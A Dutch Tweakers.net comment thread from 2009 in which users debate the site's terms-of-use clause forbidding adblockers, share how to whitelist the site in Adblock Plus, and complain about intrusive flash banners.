geen gebruik maken van adblockers of op andere wijze reclame-uitingen weren, anders dan de optie die Tweakers.net het Lid biedt indien hij een betaald abonnement heeft afgesloten.
Je kunt wel een adblocker plugin geinstalleerd hebben, kwestie van de adblocker uitschakelen voor tweakers.net en dan zie je alles zoals het hoort.
kwestie van de adblocker uitschakelen voor tweakers.net
Wist niet eens dat het kon (vast omdat ik zo'n koe ben), maar hier hoe ik het zojuist gedaan heb:
-Rechts van m'n urlbar staat een symbooltje in de vorm van een stopbord met ABP erop,
-Rechtsklikken erop,
-"Disable on tweakers.net" kiezen uit contextmenu.
-Refreshen en op de banners klikken om de afgelopen jaren dat ik gelurkt heb weer goed te maken ;)
Misschien wordt het dan eens tijd dat ze gaan vragen wat wij van elke banner vinden. Er zijn soms van die irri banners die je scherm met flash content vult. Dat vind ik echt niet kunnen, hoeveel tweakers.net er ook mee kan verdienen zodat de site in de lucht kan blijven. Gewoon... van die kleine simpele niet storende banners gebruiken. Geldt natuurlijk voor alle sites, maar ik kan wel raden wat het antwoord hierop zal zijn van de sites die ads bevatten.

@alt-92, ik overdrijf om te vragen om het voor elke banner te vragen. Maar voor je het weet is het hek van de dam. Dat bedoel ik er meer mee. En ik vind dat tweakers.net zich er helemaal niet aan moet wagen. Dus ook niet beperkt. Ik zit niet op internet om reclame te kijken. Dat lijkt dan met dat soort grote banners wel de hoofdzaak te worden.

[Reactie gewijzigd door Grrmbl op 26 december 2009 03:04]

Tweakers.net is (duh) zelf al terughoudend genoeg wat betreft de hoeveelheid Ún afmetingen die Flashbanners mogen hebben op de site.

Lijkt me wat overdreven om per referendum hier elke flashbanner die $bannerboer mogelijk zou kunnen gaan aanbieden (die evengoed al binnen de gevraagde eisen valt van T.net) te gaan accorderen.

Maar leef je uit om een werkbare implementatie uit te werken en voor te leggen aan het dagelijks bestuur.
Dan hebben ze toch echt pech, ik ga niet voor 1 website adblock uitschakelen. Ik wil graag sites vlot bezoeken en ik klik nooit op banners. Dat terzijde.

Zodra een site dit gaat forceren zoek ik een ander.
Redelijk onzinnig om dit in de gebruiker voorwaarden te zetten.
Dat heeft tweakers toch niet nodig
Snel er uit halen
Het komt mij over als:
Wie een kabelabonnement neemt bij ... verplicht zich om naar alle reclame tussen de uitzendingen te kijken.
Kom op zo slaafs is toch niemand
Ik bepaal zelf wel wat ik wil zien en niet wil zien

het is trouwens ook redelijk nutteloos volgens mij
Door de overmaat van reclame wordt de attentie waarde steeds lager
Het succes van google bewijst volgens mij dat je dingen veel beter op een positieve manier onder de aandacht kunt brengen dan die hatelijke, opdringerige reclame's. Vroeger waren zoekmachines gewoon veranderd in reclame pagina's waar je met moeite nog zoekresultaten tussen kon vinden. Die dingen laden ook nog traag als de neten. Google kwam met een snelle, minimalistische pagina en veroverde in korte tijd de markt.

Mijn brein is overigens helemaal aangepast aan de nieuwe tijd. Ik zie de reclames eenvoudigweg niet meer. Op sites waar ik regelmatig kom gaan mijn ogen nog uitsluitend naar de plekken waar informatie staat. Zijpanelen met banners, banners tussen de tekst, ik zie ze eenvoudigweg niet meer. Misschien dat er onbewust nog een inname is, maar ik betwijfel of dat veel effect heeft. Sites met veel reclame mijdt ik, veel te druk.

Misschien wordt het tijd om mensen weer eens te behandelen met het respect dat ze toekomt en niet als een mestgans.

[Reactie gewijzigd door degener op 25 december 2009 11:47]

Zei degener met zijn adblockplus ingeschakeld.

Natuurlijk heb je gelijk, maar mensen die slim genoeg zijn om adblockplus te gebruiken verdienen geen ads. Ads zijn voor mensen die er geen last van hebben en dus geen moeite doen om het weg te halen.
ja, rare policy sowieso, gaat ervanuit dat iedereen dit braaf opvolgt en is niet te handhaven / bewijzen (nouja zijn misschien wel truckjes voor maar worden blijkbaar niet gebruikt), en ik zie in mijn geval ook het nut niet om tweakers op een white list te zetten omdat ik niks met die banners doe

hadden ze beter zo'n "bug" als op marktplaats erin kunnen stoppen zodat de site onwerkbaar wordt als je een adblocker gebruikt :P

(en als mijn account nu verwijderd dreigt te worden: dit is allemaal gelogen ik heb tweakers natuurlijk braaf in de white list staan ;))
Fijn, maar ik laat 'm lekker aan. Ik haat reclame en zal er alles aan doen om het niet te hoeven zien. Ik klik toch niet op die kutbanners, dus ze missen er echt geen inkomsten aan.

Anders bannen ze me maar. Who cares. Ik heb een vast ip, dus moeilijk zal het niet zijn.
Ik installeer per default zelfs geen flash meer. Hoewel men tegenwoordig ook al andere manier vind om ambetante reclame te maken.
Als mijn bank maar geen banners op zijn site plaatst ...
Oh trouwens ik log ff uit

[Reactie gewijzigd door Kabouterplop01 op 24 december 2009 18:53]

Op dit item kan niet meer gereageerd worden.



Apple iOS 10 Google Pixel Apple iPhone 7 Sony PlayStation VR AMD Radeon RX 480 4GB Battlefield 1 Google Android Nougat Watch Dogs 2

© 1998 - 2016 de Persgroep Online Services B.V. Tweakers vormt samen met o.a. Autotrack en Carsom.nl de Persgroep Online Services B.V. Hosting door True